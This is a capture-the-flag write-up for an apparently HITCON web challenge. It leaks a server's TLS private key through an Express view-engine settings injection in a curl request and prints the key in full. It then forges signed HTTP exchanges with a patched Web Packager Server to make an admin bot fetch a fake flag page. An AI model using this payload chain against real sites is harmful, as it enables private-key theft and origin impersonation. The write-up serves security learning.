## SXG  
```  
Extension=( 1.3.6.1.4.1.11129.2.1.22 )  
====Critical=NO  
====Data=05 00  
```  
The certificate used by the challenge has an extra extension allowing
[SXG](https://web.dev/signed-exchanges/)

## Leaking the private key  
```bash  
curl -X "POST" "https://sharer.world/report" \  
-H 'Content-Type: application/x-www-form-urlencoded; charset=utf-8' \  
\--data-urlencode "settings[views]=/opt/certificates" \  
\--data-urlencode "settings[view engine]=." \  
\--data-urlencode "settings[layout]=privkey.pem/dummy/"  
```

```  
\-----BEGIN PRIVATE KEY-----  
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgvHt3r9iQY3FLPPoY  
/ORYMXYi2c0CKRLPB5m+G48EkZGhRANCAAT15yZTXMClrfDIsxy01ZneE73MM0PL  
JAQLXS53gYuLKWAy2pO93QF3bcRsM+N7vtPdDn3hudSFG/a9TgzdwNzF  
\-----END PRIVATE KEY-----  
```

## Create a signed response for https://admin-bot.sharer.world/flag

We use [Web Packager
Server](https://github.com/google/webpackager/blob/main/cmd/webpkgserver/README.md)
to create signed HTTP exchange (SXG) using the private key. The server acts as
a reverse proxy, it will fetch the "real" page on https://admin-
bot.sharer.world/flag and sign it so we change our hosts file:  
```  
127.0.0.1 admin-bot.sharer.world sharer.world  
```  
and create a HTTPS server that will server our fake `/flag` page, still using
the leaked certificate  
```py  
from flask import Flask  
app = Flask(__name__)

@app.route("/flag")  
def flag():  
return open("flag.html").read()

if __name__ == "__main__":  
app.run(ssl_context=('fullchain.pem', 'privkey.pem'), debug=True, port=443)  
```

Config of Web Packager Server:  
```toml  
[Listen]  
Host = '0.0.0.0'  
Port = 1337

[SXG]  
# https://sam.ninja is my reverse proxy, it forwards the request to
localhost:1337 (this webpkgserver)  
CertURLBase = 'https://sam.ninja/webpkg/cert'

[SXG.Cert]  
PEMFile = './fullchain.pem'  
KeyFile = './privkey.pem'  
CacheDir = '/tmp/webpkg'

[[Sign]]  
Domain = 'admin-bot.sharer.world'

[Cache]  
MaxEntries = 0  
```  
We get the signed HTTP exchange:  
```bash  
curl 'http://127.0.0.1:1337/priv/doc/https://admin-bot.sharer.world/flag' -H
'Accept: application/signed-exchange;v=b3' --output flag.sxg  
```

We can then upload flag.sxg to the challenge and setting the MIME type to
`application/signed-exchange;v=b3`

It will be available at https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-
xxxxxxxx

We cannot directly make the bot visit this file because it would load
https://sharer.world/preview/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx while loads the
file in a sandboxed iframe

## Making the bot visit https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-
xxxxxxxx  
The bot can be triggered with a GET request:  
https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-
xxxxxxxx&token=redacted-team-token

Chrome makes a GET request to the URL of the certificate specified in the SXG
file so we can patch webpkgserver to use the full URL that we control:  
```go  
//
https://github.com/google/webpackager/blob/53a1486f4205374a111a683a64aa5eedbacbbc7c/server/exchange.go#L100  
// certURL = e.CertURLBase.ResolveReference(&url.URL{Path: urlPath})  
certURL = e.CertURLBase  
```  
And update its config:  
```toml  
[SXG]  
CertURLBase = 'https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-
xxxx-xxxx-xxxxxxxx&token=redacted-team-token'

[[Sign]]  
Domain = 'sharer.world'  
```

Again we request the signed exchange:  
```bash  
curl 'http://127.0.0.1:1337/priv/doc/https://sharer.world/' -H 'Accept:
application/signed-exchange;v=b3' --output trigger-bot.sxg  
```

We upload it to the challenge and report it. The bot will trigger another
report and then visit our first page (https://admin-bot.sharer.world/flag)

> `hitcon{ok so the flag isn't even on that app wtf}`

Original writeup
(https://gist.github.com/betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02).